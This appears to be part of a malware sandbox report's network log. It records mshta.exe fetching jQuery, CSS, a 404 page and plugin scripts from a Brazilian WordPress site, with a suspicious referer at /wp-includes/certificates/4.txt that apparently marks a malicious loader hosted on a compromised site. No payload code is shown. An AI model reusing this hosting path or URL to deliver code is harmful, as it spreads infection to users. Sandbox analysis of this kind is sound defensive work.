                                                              Aug 16, 2022 10:33:13.132030964 CEST852INData Raw: 3b 74 79 70 65 6f 66 20 69 3d 3d 22 62 6f 6f 6c 65 61 6e 22 26 26 28 6c 3d 69 2c 69 3d 61 72 67 75 6d 65 6e 74 73 5b 31 5d 7c 7c 7b 7d 2c 6a 3d 32 29 2c 74 79 70 65 6f 66 20 69 21 3d 22 6f 62 6a 65 63 74 22 26 26 21 65 2e 69 73 46 75 6e 63 74 69
                                                              Data Ascii: ;typeof i=="boolean"&&(l=i,i=arguments[1]||{},j=2),typeof i!="object"&&!e.isFunction(i)&&(i={}),k===j&&(i=this,--j);for(;j<k;j++)if((a=arguments[j])!=null)for(c in a){d=i[c],f=a[c];if(i===f)continue;l&&f&&(e.isPlainObject(f)||(g=e.isArray(f)))
                                                              Aug 16, 2022 10:33:13.132061005 CEST853INData Raw: 61 72 73 65 46 6c 6f 61 74 28 61 29 29 26 26 69 73 46 69 6e 69 74 65 28 61 29 7d 2c 74 79 70 65 3a 66 75 6e 63 74 69 6f 6e 28 61 29 7b 72 65 74 75 72 6e 20 61 3d 3d 6e 75 6c 6c 3f 53 74 72 69 6e 67 28 61 29 3a 49 5b 43 2e 63 61 6c 6c 28 61 29 5d
                                                              Data Ascii: arseFloat(a))&&isFinite(a)},type:function(a){return a==null?String(a):I[C.call(a)]||"object"},isPlainObject:function(a){if(!a||e.type(a)!=="object"||a.nodeType||e.isWindow(a))return!1;try{if(a.constructor&&!D.call(a,"constructor")&&!D.call(a.c
                                                              Aug 16, 2022 10:33:13.132090092 CEST854INData Raw: 29 3b 69 66 28 64 29 7b 69 66 28 69 29 7b 66 6f 72 28 66 20 69 6e 20 61 29 69 66 28 63 2e 61 70 70 6c 79 28 61 5b 66 5d 2c 64 29 3d 3d 3d 21 31 29 62 72 65 61 6b 7d 65 6c 73 65 20 66 6f 72 28 3b 67 3c 68 3b 29 69 66 28 63 2e 61 70 70 6c 79 28 61
                                                              Data Ascii: );if(d){if(i){for(f in a)if(c.apply(a[f],d)===!1)break}else for(;g<h;)if(c.apply(a[g++],d)===!1)break}else if(i){for(f in a)if(c.call(a[f],f,a[f])===!1)break}else for(;g<h;)if(c.call(a[g],g,a[g++])===!1)break;return a},trim:G?function(a){retur
                                                              Aug 16, 2022 10:33:13.347873926 CEST864INData Raw: 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 20 61 2e 61 70 70 6c 79 28 63 2c 66 2e 63 6f 6e 63 61 74 28 46 2e 63 61 6c 6c 28 61 72 67 75 6d 65 6e 74 73 29 29 29 7d 3b 67 2e 67 75 69 64 3d 61 2e 67 75 69 64 3d 61 2e 67 75 69 64 7c 7c 67 2e 67 75 69
                                                              Data Ascii: ction(){return a.apply(c,f.concat(F.call(arguments)))};g.guid=a.guid=a.guid||g.guid||e.guid++;return g},access:function(a,c,d,f,g,h,i){var j,k=d==null,l=0,m=a.length;if(d&&typeof d=="object"){for(l in d)e.access(a,c,l,d[l],1,h,f);g=1}else if(f
                                                              Aug 16, 2022 10:33:13.785252094 CEST949OUTGET /wp-content/plugins/bannerrotator/js/jquery.banner-rotator.js?ver=4.9.20 HTTP/1.1
                                                              Accept: */*
                                                              Referer: http://facextrade.com.br/wp-includes/certificates/4.txt
                                                              Accept-Language: en-US
                                                              UA-CPU: AMD64
                                                              Accept-Encoding: gzip, deflate
                                                              User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)
                                                              Host: facextrade.com.br
                                                              Connection: Keep-Alive
                                                              Aug 16, 2022 10:33:14.890522003 CEST989INHTTP/1.1 404 Not Found
                                                              Date: Tue, 16 Aug 2022 08:33:13 GMT
                                                              Server: Apache
                                                              Expires: Wed, 11 Jan 1984 05:00:00 GMT
                                                              Cache-Control: no-cache, must-revalidate, max-age=0
                                                              Link: <https://facextrade.com.br/wp-json/>; rel="https://api.w.org/"
                                                              Content-Type: text/html; charset=UTF-8
                                                              X-Varnish: 16866018
                                                              Age: 0
                                                              Via: 1.1 varnish-v4
                                                              Transfer-Encoding: chunked
                                                              Connection: keep-alive
                                                              Data Raw: 30 30 31 30 34 66 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 21 2d 2d 5b 69 66 20 6c 74 20 49 45 20 37 20 5d 3e 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 22 69 65 20 69 65 36 22 20 6c 61 6e 67 3d 22 70 74 2d 42 52 22 3e 20 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 21 2d 2d 5b 69 66 20 49 45 20 37 20 5d 3e 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 22 69 65 20 69 65 37 22 20 6c 61 6e 67 3d 22 70 74 2d 42 52 22 3e 20 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 21 2d 2d 5b 69 66 20 49 45 20 38 20 5d 3e 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 22 69 65 20 69 65 38 22 20 6c 61 6e 67 3d 22 70 74 2d 42 52 22 3e 20 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 21 2d 2d 5b 69 66 20 49 45 20 39 20 5d 3e 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 22 69 65 20 69 65 39 22 20 6c 61 6e 67 3d 22 70 74 2d 42 52 22 3e 20 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 21 2d 2d 5b 69 66 20 28 67 74 20 49 45 20 39 29 7c 21 28 49 45 29 5d 3e 3c 21 2d 2d 3e 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 70 74 2d 42 52 22 3e 20 3c 21 2d 2d 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 68 65 61 64 3e 0a 09 3c 74 69 74 6c 65 3e 45 72 72 6f 72 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 7c 20 46 61 63 65 78 3c 2f 74 69 74 6c 65 3e 0a 09 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 64 65 73 63 72 69 70 74 69 6f 6e 22 20 63 6f 6e 74 65 6e 74 3d 22 20 26 72 61 71 75 6f 3b 20 50 c3 a1 67 69 6e 61 20 6e c3 a3 6f 20 65 6e 63 6f 6e 74 72 61 64 61 20 7c 20 46 61 63 65 78 20 43 6f 6d c3 a9 72 63 69 6f 20 45 78 74 65 72 69 6f 72 20 4c 74 64 61 2e 22 20 2f 3e 0a 09 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 55 54 46 2d 38 22 20 2f 3e 0a 09 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2e 30 22 3e 0a 09 3c 6c 69 6e 6b 20 72 65 6c 3d 22 70 72 6f 66 69 6c 65 22 20 68 72 65 66 3d 22 2f 2f 67 6d 70 67 2e 6f 72 67 2f 78 66 6e 2f 31 31 22 20 2f 3e 0a 09 09 3c 6c 69 6e 6b 20 72 65 6c 3d 22 69 63 6f 6e 22 20 68 72 65 66 3d 22 68 74 74 70 3a 2f 2f 66 61 63 65 78 74 72 61 64 65 2e 63 6f 6d 2e 62 72 2f 77 70 2d 63 6f 6e 74 65 6e 74 2f 74 68 65 6d 65 73 2f 74 68 65 6d 65 35 31 32 35 33 2f 66 61 76 69 63 6f 6e 2e 69 63 6f 22 20 74 79 70 65 3d 22 69 6d 61 67 65 2f 78 2d 69 63 6f 6e 22 20 2f 3e 0a 09 09 3c 6c 69 6e 6b 20 72 65 6c 3d 22 70 69 6e 67 62 61 63 6b 22 20 68 72 65 66 3d 22 68 74 74 70 3a 2f 2f 66 61 63 65 78 74 72 61 64 65 2e 63 6f 6d 2e 62 72 2f 78 6d 6c 72 70 63 2e 70 68 70 22 20 2f 3e 0a 09 3c 6c 69 6e 6b 20 72 65 6c 3d 22 61 6c 74 65 72 6e 61 74 65 22 20 74 79 70 65 3d 22 61 70 70 6c 69 63 61 74 69 6f 6e 2f 72 73 73 2b 78 6d 6c 22 20 74 69 74 6c 65 3d 22 46 61 63 65 78 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 66 61 63 65 78 74 72 61 64 65 2e 63 6f 6d 2e 62 72 2f 66 65 65 64 2f 22 20 2f 3e 0a 09 3c 6c 69 6e 6b 20 72 65 6c 3d 22 61 6c 74
                                                              Data Ascii: 00104f<!DOCTYPE html>...[if lt IE 7 ]><html class="ie ie6" lang="pt-BR"> <![endif]-->...[if IE 7 ]><html class="ie ie7" lang="pt-BR"> <![endif]-->...[if IE 8 ]><html class="ie ie8" lang="pt-BR"> <![endif]-->...[if IE 9 ]><html class="ie ie9" lang="pt-BR"> <![endif]-->...[if (gt IE 9)|!(IE)]>...><html lang="pt-BR"> ...<![endif]--><head><title>Error 404 Not Found | Facex</title><meta name="description" content=" &raquo; Pgina no encontrada | Facex Comrcio Exterior Ltda." /><meta charset="UTF-8" /><meta name="viewport" content="width=device-width, initial-scale=1.0"><link rel="profile" href="//gmpg.org/xfn/11" /><link rel="icon" href="http://facextrade.com.br/wp-content/themes/theme51253/favicon.ico" type="image/x-icon" /><link rel="pingback" href="http://facextrade.com.br/xmlrpc.php" /><link rel="alternate" type="application/rss+xml" title="Facex" href="https://facextrade.com.br/feed/" /><link rel="alt


                                                              Session IDSource IPSource PortDestination IPDestination PortProcess
                                                              23192.168.2.2249197187.45.240.6980C:\Windows\System32\mshta.exe
                                                              TimestampkBytes transferredDirectionData
                                                              Aug 16, 2022 10:33:14.624553919 CEST962OUTGET /wp-content/themes/CherryFramework/css/style.css HTTP/1.1
                                                              Accept: */*
                                                              Referer: http://facextrade.com.br/wp-includes/certificates/4.txt
                                                              Accept-Language: en-US
                                                              UA-CPU: AMD64
                                                              Accept-Encoding: gzip, deflate
                                                              User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)
                                                              Host: facextrade.com.br
                                                              Connection: Keep-Alive
                                                              Aug 16, 2022 10:33:14.836236000 CEST975INHTTP/1.1 200 OK
                                                              Date: Tue, 16 Aug 2022 08:32:45 GMT
                                                              Server: Apache
                                                              ETag: "a53047-101d2-58592d3578140"
                                                              Last-Modified: Tue, 02 Apr 2019 21:29:01 GMT
                                                              Content-Length: 66002
                                                              Content-Type: text/css
                                                              Cache-Control: No-Cache
                                                              Pragma: no-cache
                                                              X-Varnish: 24085866 21929449
                                                              Age: 29
                                                              Via: 1.1 varnish-v4
                                                              Accept-Ranges: bytes
                                                              Connection: keep-alive
                                                              Data Raw: 62 6f 64 79 20 7b 20 70 6f 73 69 74 69 6f 6e 3a 72 65 6c 61 74 69 76 65 3b 20 7d 0a 2e 69 65 38 20 62 6f 64 79 20 7b 20 6d 69 6e 2d 77 69 64 74 68 3a 39 38 30 70 78 3b 20 7d 0a 40 6d 65 64 69 61 20 28 6d 61 78 2d 77 69 64 74 68 3a 20 37 36 37 70 78 29 20 7b 0a 09 62 6f 64 79 2e 63 68 65 72 72 79 2d 66 69 78 65 64 2d 6c 61 79 6f 75 74 20 7b 0a 09 09 70 61 64 64 69 6e 67 2d 6c 65 66 74 3a 30 20 21 69 6d 70 6f 72 74 61 6e 74 3b 0a 09 09 70 61 64 64 69 6e 67 2d 72 69 67 68 74 3a 30 20 21 69 6d 70 6f 72 74 61 6e 74 3b 0a 09 7d 0a 7d 0a 40 6d 65 64 69 61 20 28 6d 61 78 2d 77 69 64 74 68 3a 20 37 36 37 70 78 29 20 7b 0a 09 62 6f 64 79 2e 63 68 65 72 72 79 2d 66 69 78 65 64 2d 6c 61 79 6f 75 74 20 2e 68 65 61 64 65 72 2c 20 62 6f 64 79 2e 63 68 65 72 72 79 2d 66 69 78 65 64 2d 6c 61 79 6f 75 74 20 2e 63 6f 6e 74 65 6e 74 2d 68 6f 6c 64 65 72 2c 20 62 6f 64 79 2e 63 68 65 72 72 79 2d 66 69 78 65 64 2d 6c 61 79 6f 75 74 20 2e 66 6f 6f 74 65 72 20 7b 0a 09 09 70 61 64 64 69 6e 67 2d 6c 65 66 74 3a 32 30 70 78 3b 0a 09 09 70 61 64 64 69 6e 67 2d 72 69 67 68 74 3a 32 30 70 78 3b 0a 09 7d 0a 7d 0a 62 6f 64 79 5b 63 6c 61 73 73 2a 3d 22 73 70 61 6e 22 5d 20 7b 0a 09 70 6f 73 69 74 69 6f 6e 3a 73 74 61 74 69 63 3b 0a 09 66 6c 6f 61 74 3a 6e 6f 6e 65 3b 0a 09 6d 69 6e 2d 68 65 69 67 68 74 3a 69 6e 68 65 72 69 74 3b 0a 09 6d 61 72 67 69 6e 2d 6c 65 66 74 3a 69 6e 68 65 72 69 74 3b 0a 7d 0a 61 20 7b 20 6f 75 74 6c 69 6e 65 3a 6e 6f 6e 65 3b 20 7d 0a 61 3a 66 6f 63 75 73 20 7b 20 6f 75 74 6c 69 6e 65 3a 6e 6f 6e 65 3b 20 7d 0a 2e 6d 61 69 6e 2d 68 6f 6c 64 65 72 20 7b 0a 09 70 6f 73 69 74 69 6f 6e 3a 72 65 6c 61 74 69 76 65 3b 0a 09 7a 2d 69 6e 64 65 78 3a 31 3b 0a 7d 0a 2e 63 68 65 72 72 79 2d 66 69 78 65 64 2d 6c 61 79 6f 75 74 20 2e 6d 61 69 6e 2d 68 6f 6c 64 65 72 20 7b 0a 09 6d 61 72 67 69 6e 3a 30 20 61 75 74 6f 3b 0a 09 6d 61 78 2d 77 69 64 74 68 3a 39 38 30 70 78 3b 0a 09 77 69 64 74 68 3a 61 75 74 6f 3b 0a 09 62 61 63 6b 67 72 6f 75 6e 64 3a 23 66 61 66 61 66 61 3b 0a 7d 0a 40 6d 65 64 69 61 20 28 6d 69 6e 2d 77 69 64 74 68 3a 20 31 32 30 30 70 78 29 20 7b 0a 09 2e 63 68 65 72 72 79 2d 66 69 78 65 64 2d 6c 61 79 6f 75 74 20 2e 6d 61 69 6e 2d 68 6f 6c 64 65 72 20 7b 20 6d 61 78 2d 77 69 64 74 68 3a 31 32 31 30 70 78 3b 20 7d 0a 7d 0a 40 6d 65 64 69 61 20 28 6d 69 6e 2d 77 69 64 74 68 3a 20 37 36 38 70 78 29 20 61 6e 64 20 28 6d 61 78 2d 77 69 64 74 68 3a 20 39 37 39 70 78 29 20 7b 0a 09 2e 63 68 65 72 72 79 2d 66 69 78 65 64 2d 6c 61 79 6f 75 74 20 2e 6d 61 69 6e 2d 68 6f 6c 64 65 72 20 7b 20 6d 61 78 2d 77 69 64 74 68 3a 37 36 34 70 78 3b 20 7d 0a 7d 0a 2e 68 65 61 64 65 72 20 7b 0a 09 70 6f 73 69 74 69 6f 6e 3a 72 65 6c 61 74 69 76 65 3b 0a 09 7a 2d 69 6e 64 65 78 3a 39 39 3b 0a 09 70 61 64 64 69 6e 67 3a 33 30 70 78 20 30 3b 0a 09 62 6f 72 64 65 72 2d 62 6f 74 74 6f 6d 3a 31 70 78 20 73 6f 6c 69 64 20 23 44 44 44 3b 0a 09 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 23 65 65 65 3b 0a 7d 0a 2e 6c 6f 67 6f 20 7b 0a
                                                              Data Ascii: body { position:relative; }.ie8 body { min-width:980px; }@media (max-width: 767px) {body.cherry-fixed-layout {padding-left:0 !important;padding-right:0 !important;}}@media (max-width: 767px) {body.cherry-fixed-layout .header, body.cherry-fixed-layout .content-holder, body.cherry-fixed-layout .footer {padding-left:20px;padding-right:20px;}}body[class*="span"] {position:static;float:none;min-height:inherit;margin-left:inherit;}a { outline:none; }a:focus { outline:none; }.main-holder {position:relative;z-index:1;}.cherry-fixed-layout .main-holder {margin:0 auto;max-width:980px;width:auto;background:#fafafa;}@media (min-width: 1200px) {.cherry-fixed-layout .main-holder { max-width:1210px; }}@media (min-width: 768px) and (max-width: 979px) {.cherry-fixed-layout .main-holder { max-width:764px; }}.header {position:relative;z-index:99;padding:30px 0;border-bottom:1px solid #DDD;background-color:#eee;}.logo {
                                                              Aug 16, 2022 10:33:14.836319923 CEST976INData Raw: 09 70 6f 73 69 74 69 6f 6e 3a 72 65 6c 61 74 69 76 65 3b 0a 09 7a 2d 69 6e 64 65 78 3a 39 39 3b 0a 7d 0a 40 6d 65 64 69 61 20 28 6d 69 6e 2d 77 69 64 74 68 3a 20 37 36 38 70 78 29 20 61 6e 64 20 28 6d 61 78 2d 77 69 64 74 68 3a 20 39 37 39 70 78
                                                              Data Ascii: position:relative;z-index:99;}@media (min-width: 768px) and (max-width: 979px) {.logo { width:60%; }}.logo_h__txt { margin:0; }.logo_link {color:#049cdb;text-decoration:none;}.logo_link:hover { text-decoration:none; }.logo_tag
                                                              Aug 16, 2022 10:33:14.836385965 CEST978INData Raw: 3e 20 6c 69 20 7b 0a 09 62 61 63 6b 67 72 6f 75 6e 64 3a 23 64 64 64 3b 0a 09 74 65 78 74 2d 61 6c 69 67 6e 3a 63 65 6e 74 65 72 3b 0a 7d 0a 2e 73 66 2d 6d 65 6e 75 20 3e 20 6c 69 20 3e 20 61 20 7b 0a 09 70 61 64 64 69 6e 67 3a 31 30 70 78 20 31
                                                              Data Ascii: > li {background:#ddd;text-align:center;}.sf-menu > li > a {padding:10px 12px;border-top:1px solid #DDD;border-left:1px solid #fff;color:#13a;text-decoration:none;}.sf-menu li .desc {display:block;font-size:0.9em;}.sf-m
                                                              Aug 16, 2022 10:33:14.836455107 CEST979INData Raw: 69 63 61 74 6f 72 20 7b 20 62 61 63 6b 67 72 6f 75 6e 64 2d 70 6f 73 69 74 69 6f 6e 3a 30 20 30 3b 20 7d 0a 2e 73 66 2d 6d 65 6e 75 20 75 6c 20 61 3a 66 6f 63 75 73 20 3e 20 2e 73 66 2d 73 75 62 2d 69 6e 64 69 63 61 74 6f 72 2c 20 2e 73 66 2d 6d
                                                              Data Ascii: icator { background-position:0 0; }.sf-menu ul a:focus > .sf-sub-indicator, .sf-menu ul a:hover > .sf-sub-indicator, .sf-menu ul a:active > .sf-sub-indicator, .sf-menu ul li:hover > a > .sf-sub-indicator, .sf-menu ul li.sfHover > a > .sf-sub-
                                                              Aug 16, 2022 10:33:14.836522102 CEST981INData Raw: 6c 6f 61 64 65 72 20 7b 0a 09 7a 2d 69 6e 64 65 78 3a 30 3b 0a 09 74 6f 70 3a 35 30 25 3b 0a 09 6c 65 66 74 3a 35 30 25 3b 0a 09 6d 61 72 67 69 6e 3a 2d 31 38 70 78 20 30 20 30 20 2d 31 38 70 78 3b 0a 09 77 69 64 74 68 3a 33 36 70 78 3b 0a 09 68
                                                              Data Ascii: loader {z-index:0;top:50%;left:50%;margin:-18px 0 0 -18px;width:36px;height:36px;position:absolute;}.content-holder {position:relative;z-index:1;padding-bottom:50px;}#content { padding-top:40px; }#content.left {posit
                                                              Aug 16, 2022 10:33:14.836594105 CEST982INData Raw: 3b 0a 09 2d 77 65 62 6b 69 74 2d 62 6f 72 64 65 72 2d 72 61 64 69 75 73 3a 32 70 78 3b 0a 09 2d 6d 6f 7a 2d 62 6f 72 64 65 72 2d 72 61 64 69 75 73 3a 32 70 78 3b 0a 09 62 6f 72 64 65 72 2d 72 61 64 69 75 73 3a 32 70 78 3b 0a 7d 0a 2e 74 65 73 74
                                                              Data Ascii: ;-webkit-border-radius:2px;-moz-border-radius:2px;border-radius:2px;}.testimonial_bq {margin:0;padding:0;border:none;}.testimonial_content {overflow:hidden;background:url(../images/quotes.png) no-repeat 0 0;}@media (min-w
                                                              Aug 16, 2022 10:33:14.836657047 CEST983INData Raw: 69 6e 3a 30 20 30 20 32 65 6d 20 30 3b 0a 09 70 61 64 64 69 6e 67 3a 31 65 6d 20 30 3b 0a 09 62 6f 72 64 65 72 3a 6e 6f 6e 65 3b 0a 09 62 6f 72 64 65 72 2d 74 6f 70 3a 31 70 78 20 73 6f 6c 69 64 20 23 44 44 44 3b 0a 09 62 6f 72 64 65 72 2d 62 6f
                                                              Data Ascii: in:0 0 2em 0;padding:1em 0;border:none;border-top:1px solid #DDD;border-bottom:1px solid #DDD;}.portfolio-meta-list li {margin:.5em 0 0 0;padding:0;border:none;background:none;list-style-type:none;text-transform:none;}.
                                                              Aug 16, 2022 10:33:14.836720943 CEST985INData Raw: 6f 75 6e 64 3a 75 72 6c 28 2e 2e 2f 69 6d 61 67 65 73 2f 62 6c 61 63 6b 2d 6f 70 61 63 69 74 79 2d 36 30 2e 70 6e 67 29 3b 0a 7d 0a 2e 7a 6f 6f 6d 2d 69 63 6f 6e 3a 62 65 66 6f 72 65 20 7b 0a 09 70 6f 73 69 74 69 6f 6e 3a 61 62 73 6f 6c 75 74 65
                                                              Data Ascii: ound:url(../images/black-opacity-60.png);}.zoom-icon:before {position:absolute;top:50%;left:50%;display:block;margin:-13px 0 0 -13px;width:25px;height:26px;background:url(../images/magnify-alt.png) 50% 50% no-repeat;content
                                                              Aug 16, 2022 10:33:14.836785078 CEST986INData Raw: 72 61 62 6c 65 2d 70 6f 72 74 66 6f 6c 69 6f 20 2e 69 6d 61 67 65 2d 77 72 61 70 20 7b 0a 09 70 6f 73 69 74 69 6f 6e 3a 72 65 6c 61 74 69 76 65 3b 0a 09 64 69 73 70 6c 61 79 3a 62 6c 6f 63 6b 3b 0a 09 6f 76 65 72 66 6c 6f 77 3a 68 69 64 64 65 6e
                                                              Data Ascii: rable-portfolio .image-wrap {position:relative;display:block;overflow:hidden;}.filterable-portfolio .image-wrap:before {top:50%;left:50%;margin:-16px 0 0 -16px;z-index:-1;}.filterable-portfolio .folio_loader {top:50%;left
                                                              Aug 16, 2022 10:33:14.836859941 CEST988INData Raw: 20 65 61 73 65 3b 0a 7d 0a 2e 76 69 64 65 6f 5f 70 72 65 76 69 65 77 20 68 34 20 7b 0a 09 70 61 64 64 69 6e 67 3a 30 20 30 20 37 70 78 20 35 70 78 3b 0a 09 62 6f 72 64 65 72 2d 62 6f 74 74 6f 6d 3a 31 70 78 20 73 6f 6c 69 64 20 23 44 44 44 3b 0a
                                                              Data Ascii: ease;}.video_preview h4 {padding:0 0 7px 5px;border-bottom:1px solid #DDD;}.video_preview .post_author {float:left;padding:0 0 5px 5px;}.video_preview .post_date {float:right;padding:0 5px 5px 0;}.isotope-item { z-index:2;
                                                              Aug 16, 2022 10:33:15.048716068 CEST1014INData Raw: 6f 6c 6f 72 3a 23 46 41 46 41 46 41 3b 0a 7d 0a 2e 70 6f 73 74 2d 61 75 74 68 6f 72 5f 68 20 7b 20 6d 61 72 67 69 6e 2d 62 6f 74 74 6f 6d 3a 32 30 70 78 3b 20 7d 0a 2e 70 6f 73 74 2d 61 75 74 68 6f 72 5f 6c 69 6e 6b 20 7b 20 6d 61 72 67 69 6e 2d
                                                              Data Ascii: olor:#FAFAFA;}.post-author_h { margin-bottom:20px; }.post-author_link { margin-top:1.5em; }.post-author_gravatar {float:left;margin:0 20px 0 0;}.post-author_gravatar img {padding:5px;border:1px solid #DDD;background:#fff;}.po
                                                              Aug 16, 2022 10:33:15.264678001 CEST1076OUTGET /wp-content/plugins/logo-slider-wp/public/assets/js/logo-slider-wp-public.js?ver=1.0.0 HTTP/1.1
                                                              Accept: */*
                                                              Referer: http://facextrade.com.br/wp-includes/certificates/4.txt
                                                              Accept-Language: en-US
                                                              UA-CPU: AMD64
                                                              Accept-Encoding: gzip, deflate
                                                              User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)
                                                              Host: facextrade.com.br
                                                              Connection: Keep-Alive
                                                              Aug 16, 2022 10:33:15.476516008 CEST1092INHTTP/1.1 200 OK
                                                              Date: Tue, 16 Aug 2022 08:32:49 GMT
                                                              Server: Apache
                                                              ETag: "a5146a-bbe-5c93d38d9c220"
                                                              Last-Modified: Tue, 10 Aug 2021 23:54:27 GMT
                                                              Content-Length: 3006
                                                              Content-Type: application/x-javascript
                                                              Cache-Control: No-Cache
                                                              Pragma: no-cache
                                                              X-Varnish: 24085867 20137737
                                                              Age: 25
                                                              Via: 1.1 varnish-v4
                                                              Accept-Ranges: bytes
                                                              Connection: keep-alive
                                                              Data Raw: 28 66 75 6e 63 74 69 6f 6e 28 29 20 7b 0d 0a 20 20 20 20 27 75 73 65 20 73 74 72 69 63 74 27 3b 0d 0a 0d 0a 20 20 20 20 2f 2a 2a 0d 0a 20 20 20 20 20 2a 20 41 6c 6c 20 6f 66 20 74 68 65 20 63 6f 64 65 20 66 6f 72 20 79 6f 75 72 20 70 75 62 6c 69 63 2d 66 61 63 69 6e 67 20 4a 61 76 61 53 63 72 69 70 74 20 73 6f 75 72 63 65 0d 0a 20 20 20 20 20 2a 20 73 68 6f 75 6c 64 20 72 65 73 69 64 65 20 69 6e 20 74 68 69 73 20 66 69 6c 65 2e 0d 0a 20 20 20 20 20 2a 0d 0a 20 20 20 20 20 2a 20 4e 6f 74 65 3a 20 49 74 20 68 61 73 20 62 65 65 6e 20 61 73 73 75 6d 65 64 20 79 6f 75 20 77 69 6c 6c 20 77 72 69 74 65 20 6a 51 75 65 72 79 20 63 6f 64 65 20 68 65 72 65 2c 20 73 6f 20 74 68 65 0d 0a 20 20 20 20 20 2a 20 24 20 66 75 6e 63 74 69 6f 6e 20 72 65 66 65 72 65 6e 63 65 20 68 61 73 20 62 65 65 6e 20 70 72 65 70 61 72 65 64 20 66 6f 72 20 75 73 61 67 65 20 77 69 74 68 69 6e 20 74 68 65 20 73 63 6f 70 65 0d 0a 20 20 20 20 20 2a 20 6f 66 20 74 68 69 73 20 66 75 6e 63 74 69 6f 6e 2e 0d 0a 20 20 20 20 20 2a 0d 0a 20 20 20 20 20 2a 20 54 68 69 73 20 65 6e 61 62 6c 65 73 20 79 6f 75 20 74 6f 20 64 65 66 69 6e 65 20 68 61 6e 64 6c 65 72 73 2c 20 66 6f 72 20 77 68 65 6e 20 74 68 65 20 44 4f 4d 20 69 73 20 72 65 61 64 79 3a 0d 0a 20 20 20 20 20 2a 0d 0a 20 20 20 20 20 2a 20 24 28 66 75 6e 63 74 69 6f 6e 28 29 20 7b 0d 0a 09 20 2a 0d 0a 09 20 2a 20 7d 29 3b 0d 0a 20 20 20 20 20 2a 0d 0a 20 20 20 20 20 2a 20 57 68 65 6e 20 74 68 65 20 77 69 6e 64 6f 77 20 69 73 20 6c 6f 61 64 65 64 3a 0d 0a 20 20 20 20 20 2a 0d 0a 20 20 20 20 20 2a 20 24 28 20 77 69 6e 64 6f 77 20 29 2e 6c 6f 61 64 28 66 75 6e 63 74 69 6f 6e 28 29 20 7b 0d 0a 09 20 2a 0d 0a 09 20 2a 20 7d 29 3b 0d 0a 20 20 20 20 20 2a 0d 0a 20 20 20 20 20 2a 20 2e 2e 2e 61 6e 64 2f 6f 72 20 6f 74 68 65 72 20 70 6f 73 73 69 62 69 6c 69 74 69 65 73 2e 0d 0a 20 20 20 20 20 2a 0d 0a 20 20 20 20 20 2a 20 49 64 65 61 6c 6c 79 2c 20 69 74 20 69 73 20 6e 6f 74 20 63 6f 6e 73 69 64 65 72 65 64 20 62 65 73 74 20 70 72 61 63 74 69 73 65 20 74 6f 20 61 74 74 61 63 68 20 6d 6f 72 65 20 74 68 61 6e 20 61 0d 0a 20 20 20 20 20 2a 20 73 69 6e 67 6c 65 20 44 4f 4d 2d 72 65 61 64 79 20 6f 72 20 77 69 6e 64 6f 77 2d 6c 6f 61 64 20 68 61 6e 64 6c 65 72 20 66 6f 72 20 61 20 70 61 72 74 69 63 75 6c 61 72 20 70 61 67 65 2e 0d 0a 20 20 20 20 20 2a 20 41 6c 74 68 6f 75 67 68 20 73 63 72 69 70 74 73 20 69 6e 20 74 68 65 20 57 6f 72 64 50 72 65 73 73 20 63 6f 72 65 2c 20 50 6c 75 67 69 6e 73 20 61 6e 64 20 54 68 65 6d 65 73 20 6d 61 79 20 62 65 0d 0a 20 20 20 20 20 2a 20 70 72 61 63 74 69 73 69 6e 67 20 74 68 69 73 2c 20 77 65 20 73 68 6f 75 6c 64 20 73 74 72 69 76 65 20 74 6f 20 73 65 74 20 61 20 62 65 74 74 65 72 20 65 78 61 6d 70 6c 65 20 69 6e 20 6f 75 72 20 6f 77 6e 20 77 6f 72 6b 2e 0d 0a 20 20 20 20 20 2a 2f 0d 0a 0d 0a 0d 0a 20 20 20 20 6a 51 75 65 72 79 28 64 6f 63 75 6d 65 6e 74 29 2e 72 65 61 64 79 28 66 75 6e 63 74 69 6f 6e 28 24 29 20 7b 0d 0a 0d 0a 20 20 20 20 20
                                                              Data Ascii: (function() { 'use strict'; /** * All of the code for your public-facing JavaScript source * should reside in this file. * * Note: It has been assumed you will write jQuery code here, so the * $ function reference has been prepared for usage within the scope * of this function. * * This enables you to define handlers, for when the DOM is ready: * * $(function() { * * }); * * When the window is loaded: * * $( window ).load(function() { * * }); * * ...and/or other possibilities. * * Ideally, it is not considered best practise to attach more than a * single DOM-ready or window-load handler for a particular page. * Although scripts in the WordPress core, Plugins and Themes may be * practising this, we should strive to set a better example in our own work. */ jQuery(document).ready(function($) {
